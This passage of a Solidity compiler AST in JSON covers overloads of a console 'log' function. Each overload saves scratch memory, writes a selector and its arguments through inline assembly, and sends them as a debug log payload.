FunctionDefinition","src":"270198:792:22","nodes":[],"body":{"id":42775,"nodeType":"Block","src":"270273:717:22","nodes":[],"statements":[{"assignments":[42754],"declarations":[{"constant":false,"id":42754,"mutability":"mutable","name":"m0","nameLocation":"270291:2:22","nodeType":"VariableDeclaration","scope":42775,"src":"270283:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42753,"name":"bytes32","nodeType":"ElementaryTypeName","src":"270283:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42755,"nodeType":"VariableDeclarationStatement","src":"270283:10:22"},{"assignments":[42757],"declarations":[{"constant":false,"id":42757,"mutability":"mutable","name":"m1","nameLocation":"270311:2:22","nodeType":"VariableDeclaration","scope":42775,"src":"270303:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42756,"name":"bytes32","nodeType":"ElementaryTypeName","src":"270303:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42758,"nodeType":"VariableDeclarationStatement","src":"270303:10:22"},{"assignments":[42760],"declarations":[{"constant":false,"id":42760,"mutability":"mutable","name":"m2","nameLocation":"270331:2:22","nodeType":"VariableDeclaration","scope":42775,"src":"270323:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42759,"name":"bytes32","nodeType":"ElementaryTypeName","src":"270323:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42761,"nodeType":"VariableDeclarationStatement","src":"270323:10:22"},{"assignments":[42763],"declarations":[{"constant":false,"id":42763,"mutability":"mutable","name":"m3","nameLocation":"270351:2:22","nodeType":"VariableDeclaration","scope":42775,"src":"270343:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42762,"name":"bytes32","nodeType":"ElementaryTypeName","src":"270343:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42764,"nodeType":"VariableDeclarationStatement","src":"270343:10:22"},{"assignments":[42766],"declarations":[{"constant":false,"id":42766,"mutability":"mutable","name":"m4","nameLocation":"270371:2:22","nodeType":"VariableDeclaration","scope":42775,"src":"270363:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42765,"name":"bytes32","nodeType":"ElementaryTypeName","src":"270363:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42767,"nodeType":"VariableDeclarationStatement","src":"270363:10:22"},{"AST":{"nativeSrc":"270392:381:22","nodeType":"YulBlock","src":"270392:381:22","statements":[{"nativeSrc":"270406:17:22","nodeType":"YulAssignment","src":"270406:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"270418:4:22","nodeType":"YulLiteral","src":"270418:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"270412:5:22","nodeType":"YulIdentifier","src":"270412:5:22"},"nativeSrc":"270412:11:22","nodeType":"YulFunctionCall","src":"270412:11:22"},"variableNames":[{"name":"m0","nativeSrc":"270406:2:22","nodeType":"YulIdentifier","src":"270406:2:22"}]},{"nativeSrc":"270436:17:22","nodeType":"YulAssignment","src":"270436:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"270448:4:22","nodeType":"YulLiteral","src":"270448:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"270442:5:22","nodeType":"YulIdentifier","src":"270442:5:22"},"nativeSrc":"270442:11:22","nodeType":"YulFunctionCall","src":"270442:11:22"},"variableNames":[{"name":"m1","nativeSrc":"270436:2:22","nodeType":"YulIdentifier","src":"270436:2:22"}]},{"nativeSrc":"270466:17:22","nodeType":"YulAssignment","src":"270466:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"270478:4:22","nodeType":"YulLiteral","src":"270478:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"270472:5:22","nodeType":"YulIdentifier","src":"270472:5:22"},"nativeSrc":"270472:11:22","nodeType":"YulFunctionCall","src":"270472:11:22"},"variableNames":[{"name":"m2","nativeSrc":"270466:2:22","nodeType":"YulIdentifier","src":"270466:2:22"}]},{"nativeSrc":"270496:17:22","nodeType":"YulAssignment","src":"270496:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"270508:4:22","nodeType":"YulLiteral","src":"270508:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"270502:5:22","nodeType":"YulIdentifier","src":"270502:5:22"},"nativeSrc":"270502:11:22","nodeType":"YulFunctionCall","src":"270502:11:22"},"variableNames":[{"name":"m3","nativeSrc":"270496:2:22","nodeType":"YulIdentifier","src":"270496:2:22"}]},{"nativeSrc":"270526:17:22","nodeType":"YulAssignment","src":"270526:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"270538:4:22","nodeType":"YulLiteral","src":"270538:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"270532:5:22","nodeType":"YulIdentifier","src":"270532:5:22"},"nativeSrc":"270532:11:22","nodeType":"YulFunctionCall","src":"270532:11:22"},"variableNames":[{"name":"m4","nativeSrc":"270526:2:22","nodeType":"YulIdentifier","src":"270526:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"270630:4:22","nodeType":"YulLiteral","src":"270630:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"270636:10:22","nodeType":"YulLiteral","src":"270636:10:22","type":"","value":"0xfa8185af"}],"functionName":{"name":"mstore","nativeSrc":"270623:6:22","nodeType":"YulIdentifier","src":"270623:6:22"},"nativeSrc":"270623:24:22","nodeType":"YulFunctionCall","src":"270623:24:22"},"nativeSrc":"270623:24:22","nodeType":"YulExpressionStatement","src":"270623:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"270667:4:22","nodeType":"YulLiteral","src":"270667:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"270673:2:22","nodeType":"YulIdentifier","src":"270673:2:22"}],"functionName":{"name":"mstore","nativeSrc":"270660:6:22","nodeType":"YulIdentifier","src":"270660:6:22"},"nativeSrc":"270660:16:22","nodeType":"YulFunctionCall","src":"270660:16:22"},"nativeSrc":"270660:16:22","nodeType":"YulExpressionStatement","src":"270660:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"270696:4:22","nodeType":"YulLiteral","src":"270696:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"270702:2:22","nodeType":"YulIdentifier","src":"270702:2:22"}],"functionName":{"name":"mstore","nativeSrc":"270689:6:22","nodeType":"YulIdentifier","src":"270689:6:22"},"nativeSrc":"270689:16:22","nodeType":"YulFunctionCall","src":"270689:16:22"},"nativeSrc":"270689:16:22","nodeType":"YulExpressionStatement","src":"270689:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"270725:4:22","nodeType":"YulLiteral","src":"270725:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"270731:2:22","nodeType":"YulIdentifier","src":"270731:2:22"}],"functionName":{"name":"mstore","nativeSrc":"270718:6:22","nodeType":"YulIdentifier","src":"270718:6:22"},"nativeSrc":"270718:16:22","nodeType":"YulFunctionCall","src":"270718:16:22"},"nativeSrc":"270718:16:22","nodeType":"YulExpressionStatement","src":"270718:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"270754:4:22","nodeType":"YulLiteral","src":"270754:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"270760:2:22","nodeType":"YulIdentifier","src":"270760:2:22"}],"functionName":{"name":"mstore","nativeSrc":"270747:6:22","nodeType":"YulIdentifier","src":"270747:6:22"},"nativeSrc":"270747:16:22","nodeType":"YulFunctionCall","src":"270747:16:22"},"nativeSrc":"270747:16:22","nodeType":"YulExpressionStatement","src":"270747:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42754,"isOffset":false,"isSlot":false,"src":"270406:2:22","valueSize":1},{"declaration":42757,"isOffset":false,"isSlot":false,"src":"270436:2:22","valueSize":1},{"declaration":42760,"isOffset":false,"isSlot":false,"src":"270466:2:22","valueSize":1},{"declaration":42763,"isOffset":false,"isSlot":false,"src":"270496:2:22","valueSize":1},{"declaration":42766,"isOffset":false,"isSlot":false,"src":"270526:2:22","valueSize":1},{"declaration":42744,"isOffset":false,"isSlot":false,"src":"270673:2:22","valueSize":1},{"declaration":42746,"isOffset":false,"isSlot":false,"src":"270702:2:22","valueSize":1},{"declaration":42748,"isOffset":false,"isSlot":false,"src":"270731:2:22","valueSize":1},{"declaration":42750,"isOffset":false,"isSlot":false,"src":"270760:2:22","valueSize":1}],"id":42768,"nodeType":"InlineAssembly","src":"270383:390:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":42770,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"270798:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":42771,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"270804:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":42769,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"270782:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":42772,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"270782:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":42773,"nodeType":"ExpressionStatement","src":"270782:27:22"},{"AST":{"nativeSrc":"270828:156:22","nodeType":"YulBlock","src":"270828:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"270849:4:22","nodeType":"YulLiteral","src":"270849:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"270855:2:22","nodeType":"YulIdentifier","src":"270855:2:22"}],"functionName":{"name":"mstore","nativeSrc":"270842:6:22","nodeType":"YulIdentifier","src":"270842:6:22"},"nativeSrc":"270842:16:22","nodeType":"YulFunctionCall","src":"270842:16:22"},"nativeSrc":"270842:16:22","nodeType":"YulExpressionStatement","src":"270842:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"270878:4:22","nodeType":"YulLiteral","src":"270878:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"270884:2:22","nodeType":"YulIdentifier","src":"270884:2:22"}],"functionName":{"name":"mstore","nativeSrc":"270871:6:22","nodeType":"YulIdentifier","src":"270871:6:22"},"nativeSrc":"270871:16:22","nodeType":"YulFunctionCall","src":"270871:16:22"},"nativeSrc":"270871:16:22","nodeType":"YulExpressionStatement","src":"270871:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"270907:4:22","nodeType":"YulLiteral","src":"270907:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"270913:2:22","nodeType":"YulIdentifier","src":"270913:2:22"}],"functionName":{"name":"mstore","nativeSrc":"270900:6:22","nodeType":"YulIdentifier","src":"270900:6:22"},"nativeSrc":"270900:16:22","nodeType":"YulFunctionCall","src":"270900:16:22"},"nativeSrc":"270900:16:22","nodeType":"YulExpressionStatement","src":"270900:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"270936:4:22","nodeType":"YulLiteral","src":"270936:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"270942:2:22","nodeType":"YulIdentifier","src":"270942:2:22"}],"functionName":{"name":"mstore","nativeSrc":"270929:6:22","nodeType":"YulIdentifier","src":"270929:6:22"},"nativeSrc":"270929:16:22","nodeType":"YulFunctionCall","src":"270929:16:22"},"nativeSrc":"270929:16:22","nodeType":"YulExpressionStatement","src":"270929:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"270965:4:22","nodeType":"YulLiteral","src":"270965:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"270971:2:22","nodeType":"YulIdentifier","src":"270971:2:22"}],"functionName":{"name":"mstore","nativeSrc":"270958:6:22","nodeType":"YulIdentifier","src":"270958:6:22"},"nativeSrc":"270958:16:22","nodeType":"YulFunctionCall","src":"270958:16:22"},"nativeSrc":"270958:16:22","nodeType":"YulExpressionStatement","src":"270958:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42754,"isOffset":false,"isSlot":false,"src":"270855:2:22","valueSize":1},{"declaration":42757,"isOffset":false,"isSlot":false,"src":"270884:2:22","valueSize":1},{"declaration":42760,"isOffset":false,"isSlot":false,"src":"270913:2:22","valueSize":1},{"declaration":42763,"isOffset":false,"isSlot":false,"src":"270942:2:22","valueSize":1},{"declaration":42766,"isOffset":false,"isSlot":false,"src":"270971:2:22","valueSize":1}],"id":42774,"nodeType":"InlineAssembly","src":"270819:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"270207:3:22","parameters":{"id":42751,"nodeType":"ParameterList","parameters":[{"constant":false,"id":42744,"mutability":"mutable","name":"p0","nameLocation":"270219:2:22","nodeType":"VariableDeclaration","scope":42776,"src":"270211:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42743,"name":"uint256","nodeType":"ElementaryTypeName","src":"270211:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42746,"mutability":"mutable","name":"p1","nameLocation":"270231:2:22","nodeType":"VariableDeclaration","scope":42776,"src":"270223:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42745,"name":"uint256","nodeType":"ElementaryTypeName","src":"270223:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42748,"mutability":"mutable","name":"p2","nameLocation":"270243:2:22","nodeType":"VariableDeclaration","scope":42776,"src":"270235:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42747,"name":"uint256","nodeType":"ElementaryTypeName","src":"270235:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42750,"mutability":"mutable","name":"p3","nameLocation":"270255:2:22","nodeType":"VariableDeclaration","scope":42776,"src":"270247:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":42749,"name":"address","nodeType":"ElementaryTypeName","src":"270247:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"270210:48:22"},"returnParameters":{"id":42752,"nodeType":"ParameterList","parameters":[],"src":"270273:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":42810,"nodeType":"FunctionDefinition","src":"270996:786:22","nodes":[],"body":{"id":42809,"nodeType":"Block","src":"271068:714:22","nodes":[],"statements":[{"assignments":[42788],"declarations":[{"constant":false,"id":42788,"mutability":"mutable","name":"m0","nameLocation":"271086:2:22","nodeType":"VariableDeclaration","scope":42809,"src":"271078:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42787,"name":"bytes32","nodeType":"ElementaryTypeName","src":"271078:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42789,"nodeType":"VariableDeclarationStatement","src":"271078:10:22"},{"assignments":[42791],"declarations":[{"constant":false,"id":42791,"mutability":"mutable","name":"m1","nameLocation":"271106:2:22","nodeType":"VariableDeclaration","scope":42809,"src":"271098:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42790,"name":"bytes32","nodeType":"ElementaryTypeName","src":"271098:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42792,"nodeType":"VariableDeclarationStatement","src":"271098:10:22"},{"assignments":[42794],"declarations":[{"constant":false,"id":42794,"mutability":"mutable","name":"m2","nameLocation":"271126:2:22","nodeType":"VariableDeclaration","scope":42809,"src":"271118:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42793,"name":"bytes32","nodeType":"ElementaryTypeName","src":"271118:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42795,"nodeType":"VariableDeclarationStatement","src":"271118:10:22"},{"assignments":[42797],"declarations":[{"constant":false,"id":42797,"mutability":"mutable","name":"m3","nameLocation":"271146:2:22","nodeType":"VariableDeclaration","scope":42809,"src":"271138:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42796,"name":"bytes32","nodeType":"ElementaryTypeName","src":"271138:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42798,"nodeType":"VariableDeclarationStatement","src":"271138:10:22"},{"assignments":[42800],"declarations":[{"constant":false,"id":42800,"mutability":"mutable","name":"m4","nameLocation":"271166:2:22","nodeType":"VariableDeclaration","scope":42809,"src":"271158:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42799,"name":"bytes32","nodeType":"ElementaryTypeName","src":"271158:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42801,"nodeType":"VariableDeclarationStatement","src":"271158:10:22"},{"AST":{"nativeSrc":"271187:378:22","nodeType":"YulBlock","src":"271187:378:22","statements":[{"nativeSrc":"271201:17:22","nodeType":"YulAssignment","src":"271201:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"271213:4:22","nodeType":"YulLiteral","src":"271213:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"271207:5:22","nodeType":"YulIdentifier","src":"271207:5:22"},"nativeSrc":"271207:11:22","nodeType":"YulFunctionCall","src":"271207:11:22"},"variableNames":[{"name":"m0","nativeSrc":"271201:2:22","nodeType":"YulIdentifier","src":"271201:2:22"}]},{"nativeSrc":"271231:17:22","nodeType":"YulAssignment","src":"271231:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"271243:4:22","nodeType":"YulLiteral","src":"271243:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"271237:5:22","nodeType":"YulIdentifier","src":"271237:5:22"},"nativeSrc":"271237:11:22","nodeType":"YulFunctionCall","src":"271237:11:22"},"variableNames":[{"name":"m1","nativeSrc":"271231:2:22","nodeType":"YulIdentifier","src":"271231:2:22"}]},{"nativeSrc":"271261:17:22","nodeType":"YulAssignment","src":"271261:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"271273:4:22","nodeType":"YulLiteral","src":"271273:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"271267:5:22","nodeType":"YulIdentifier","src":"271267:5:22"},"nativeSrc":"271267:11:22","nodeType":"YulFunctionCall","src":"271267:11:22"},"variableNames":[{"name":"m2","nativeSrc":"271261:2:22","nodeType":"YulIdentifier","src":"271261:2:22"}]},{"nativeSrc":"271291:17:22","nodeType":"YulAssignment","src":"271291:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"271303:4:22","nodeType":"YulLiteral","src":"271303:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"271297:5:22","nodeType":"YulIdentifier","src":"271297:5:22"},"nativeSrc":"271297:11:22","nodeType":"YulFunctionCall","src":"271297:11:22"},"variableNames":[{"name":"m3","nativeSrc":"271291:2:22","nodeType":"YulIdentifier","src":"271291:2:22"}]},{"nativeSrc":"271321:17:22","nodeType":"YulAssignment","src":"271321:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"271333:4:22","nodeType":"YulLiteral","src":"271333:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"271327:5:22","nodeType":"YulIdentifier","src":"271327:5:22"},"nativeSrc":"271327:11:22","nodeType":"YulFunctionCall","src":"271327:11:22"},"variableNames":[{"name":"m4","nativeSrc":"271321:2:22","nodeType":"YulIdentifier","src":"271321:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"271422:4:22","nodeType":"YulLiteral","src":"271422:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"271428:10:22","nodeType":"YulLiteral","src":"271428:10:22","type":"","value":"0xc598d185"}],"functionName":{"name":"mstore","nativeSrc":"271415:6:22","nodeType":"YulIdentifier","src":"271415:6:22"},"nativeSrc":"271415:24:22","nodeType":"YulFunctionCall","src":"271415:24:22"},"nativeSrc":"271415:24:22","nodeType":"YulExpressionStatement","src":"271415:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"271459:4:22","nodeType":"YulLiteral","src":"271459:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"271465:2:22","nodeType":"YulIdentifier","src":"271465:2:22"}],"functionName":{"name":"mstore","nativeSrc":"271452:6:22","nodeType":"YulIdentifier","src":"271452:6:22"},"nativeSrc":"271452:16:22","nodeType":"YulFunctionCall","src":"271452:16:22"},"nativeSrc":"271452:16:22","nodeType":"YulExpressionStatement","src":"271452:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"271488:4:22","nodeType":"YulLiteral","src":"271488:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"271494:2:22","nodeType":"YulIdentifier","src":"271494:2:22"}],"functionName":{"name":"mstore","nativeSrc":"271481:6:22","nodeType":"YulIdentifier","src":"271481:6:22"},"nativeSrc":"271481:16:22","nodeType":"YulFunctionCall","src":"271481:16:22"},"nativeSrc":"271481:16:22","nodeType":"YulExpressionStatement","src":"271481:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"271517:4:22","nodeType":"YulLiteral","src":"271517:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"271523:2:22","nodeType":"YulIdentifier","src":"271523:2:22"}],"functionName":{"name":"mstore","nativeSrc":"271510:6:22","nodeType":"YulIdentifier","src":"271510:6:22"},"nativeSrc":"271510:16:22","nodeType":"YulFunctionCall","src":"271510:16:22"},"nativeSrc":"271510:16:22","nodeType":"YulExpressionStatement","src":"271510:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"271546:4:22","nodeType":"YulLiteral","src":"271546:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"271552:2:22","nodeType":"YulIdentifier","src":"271552:2:22"}],"functionName":{"name":"mstore","nativeSrc":"271539:6:22","nodeType":"YulIdentifier","src":"271539:6:22"},"nativeSrc":"271539:16:22","nodeType":"YulFunctionCall","src":"271539:16:22"},"nativeSrc":"271539:16:22","nodeType":"YulExpressionStatement","src":"271539:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42788,"isOffset":false,"isSlot":false,"src":"271201:2:22","valueSize":1},{"declaration":42791,"isOffset":false,"isSlot":false,"src":"271231:2:22","valueSize":1},{"declaration":42794,"isOffset":false,"isSlot":false,"src":"271261:2:22","valueSize":1},{"declaration":42797,"isOffset":false,"isSlot":false,"src":"271291:2:22","valueSize":1},{"declaration":42800,"isOffset":false,"isSlot":false,"src":"271321:2:22","valueSize":1},{"declaration":42778,"isOffset":false,"isSlot":false,"src":"271465:2:22","valueSize":1},{"declaration":42780,"isOffset":false,"isSlot":false,"src":"271494:2:22","valueSize":1},{"declaration":42782,"isOffset":false,"isSlot":false,"src":"271523:2:22","valueSize":1},{"declaration":42784,"isOffset":false,"isSlot":false,"src":"271552:2:22","valueSize":1}],"id":42802,"nodeType":"InlineAssembly","src":"271178:387:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":42804,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"271590:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":42805,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"271596:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":42803,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"271574:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":42806,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"271574:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":42807,"nodeType":"ExpressionStatement","src":"271574:27:22"},{"AST":{"nativeSrc":"271620:156:22","nodeType":"YulBlock","src":"271620:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"271641:4:22","nodeType":"YulLiteral","src":"271641:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"271647:2:22","nodeType":"YulIdentifier","src":"271647:2:22"}],"functionName":{"name":"mstore","nativeSrc":"271634:6:22","nodeType":"YulIdentifier","src":"271634:6:22"},"nativeSrc":"271634:16:22","nodeType":"YulFunctionCall","src":"271634:16:22"},"nativeSrc":"271634:16:22","nodeType":"YulExpressionStatement","src":"271634:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"271670:4:22","nodeType":"YulLiteral","src":"271670:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"271676:2:22","nodeType":"YulIdentifier","src":"271676:2:22"}],"functionName":{"name":"mstore","nativeSrc":"271663:6:22","nodeType":"YulIdentifier","src":"271663:6:22"},"nativeSrc":"271663:16:22","nodeType":"YulFunctionCall","src":"271663:16:22"},"nativeSrc":"271663:16:22","nodeType":"YulExpressionStatement","src":"271663:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"271699:4:22","nodeType":"YulLiteral","src":"271699:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"271705:2:22","nodeType":"YulIdentifier","src":"271705:2:22"}],"functionName":{"name":"mstore","nativeSrc":"271692:6:22","nodeType":"YulIdentifier","src":"271692:6:22"},"nativeSrc":"271692:16:22","nodeType":"YulFunctionCall","src":"271692:16:22"},"nativeSrc":"271692:16:22","nodeType":"YulExpressionStatement","src":"271692:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"271728:4:22","nodeType":"YulLiteral","src":"271728:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"271734:2:22","nodeType":"YulIdentifier","src":"271734:2:22"}],"functionName":{"name":"mstore","nativeSrc":"271721:6:22","nodeType":"YulIdentifier","src":"271721:6:22"},"nativeSrc":"271721:16:22","nodeType":"YulFunctionCall","src":"271721:16:22"},"nativeSrc":"271721:16:22","nodeType":"YulExpressionStatement","src":"271721:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"271757:4:22","nodeType":"YulLiteral","src":"271757:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"271763:2:22","nodeType":"YulIdentifier","src":"271763:2:22"}],"functionName":{"name":"mstore","nativeSrc":"271750:6:22","nodeType":"YulIdentifier","src":"271750:6:22"},"nativeSrc":"271750:16:22","nodeType":"YulFunctionCall","src":"271750:16:22"},"nativeSrc":"271750:16:22","nodeType":"YulExpressionStatement","src":"271750:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42788,"isOffset":false,"isSlot":false,"src":"271647:2:22","valueSize":1},{"declaration":42791,"isOffset":false,"isSlot":false,"src":"271676:2:22","valueSize":1},{"declaration":42794,"isOffset":false,"isSlot":false,"src":"271705:2:22","valueSize":1},{"declaration":42797,"isOffset":false,"isSlot":false,"src":"271734:2:22","valueSize":1},{"declaration":42800,"isOffset":false,"isSlot":false,"src":"271763:2:22","valueSize":1}],"id":42808,"nodeType":"InlineAssembly","src":"271611:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"271005:3:22","parameters":{"id":42785,"nodeType":"ParameterList","parameters":[{"constant":false,"id":42778,"mutability":"mutable","name":"p0","nameLocation":"271017:2:22","nodeType":"VariableDeclaration","scope":42810,"src":"271009:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42777,"name":"uint256","nodeType":"ElementaryTypeName","src":"271009:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42780,"mutabil